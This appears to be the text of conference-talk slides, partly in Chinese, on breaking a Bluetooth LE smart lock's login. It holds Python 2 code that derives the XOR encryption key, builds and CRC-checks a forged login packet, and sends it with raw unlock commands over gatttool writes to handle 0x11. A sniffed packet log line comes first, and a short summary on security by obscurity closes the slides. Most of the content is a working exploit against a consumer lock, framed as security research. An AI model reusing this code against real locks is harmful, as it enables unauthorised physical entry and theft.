3908	+48523 =382722049	0x1A	0x18E9AB1A	M->S	OK	L2CAP-S	2	1	1	0	15	0x000B	0x0004	0x12	0x0011	C8 05 00 50 0A 03 01 55	0xB13DEB	-43	OK

Login—Crafting Packets


```
def get_enc_key(random_str,secret_key):
    hex_random=random_str.replace(" ","").decode("hex")
    if len(hex_random)!=4:
        print "error random key!"
        sys.exit()
    random_key=0
    for i in range(0,4):
        random_key^=ord(hex_random[i])
    random_key^=secret_key
    return random_key
def get_date():
    strtime=time.strftime('%Y-%m-%d-%H-%M-%S',time.localtime(time.time()))
    strtime=strtime.split('-')
    out_date=chr(int(strtime[0])-2000)+chr(int(strtime[1]))+chr(int(strtime[2]))+chr(int(strtime[3]))+chr(int(strtime[4]))+chr(int(strtime[5]))
    return out_date.encode('hex')

def lala(arg5):
    c = 0x1021;
    v0 = arg5 << 8;
    count=7
```

```
def make_login(random_str,password,md5_user_name,md5_imei,secret_key):
    header1='A14300'
    ver='0301'
    user_type='01'
    openrssi='ab'
    lock_rssi='bf'
    sub_packet=md5_user_name+md5_imei+make_adv_key()+get_date()+openrssi+lock_rssi
    en_key=get_enc_key(random_str,secret_key)
    print "enc_key is %x"%en_key
    tmp=sub_packet.decode("hex")
    sub_packet=''
    for aa in tmp:
        sub_packet+=chr(ord(aa)^en_key)
    sub_packet=sub_packet.encode("hex")
    #print packet
    packet=user_type+password+sub_packet
    crc=get_crc16(packet.decode("hex"))
    final=header1+crc+ver+packet
    final=final.upper()
    #print final
    return final
```

```
#do login
login_pack=make_login.make_login(random,password,md5_user_name,md5_imei,secret_key)
print "login:"+login_pack
print len(login_pack)
child.sendline("char-write-req 0x11 "+login_pack[:40])
child.sendline("char-write-req 0x11 "+login_pack[40:80])
child.sendline("char-write-req 0x11 "+login_pack[80:120])
child.sendline("char-write-req 0x11 "+login_pack[120:])
child.sendline("char-write-req 0x11 c80500a0140301aa")
child.sendline("char-write-req 0x11 c80500500a030155")
get_child_expect_expect(["characteristic value was written successfully"])
expect EOF
source
```

演示:



漏洞报告?



总结

- Security by obscurity ???
- 100 % 的绝对安全并不存在
- 新的趋势将会带来新的攻击点
- 安全测试 + 安全测试 + 安全测试





谢谢观看

演讲人: @Kevin2600 @MonkeyKing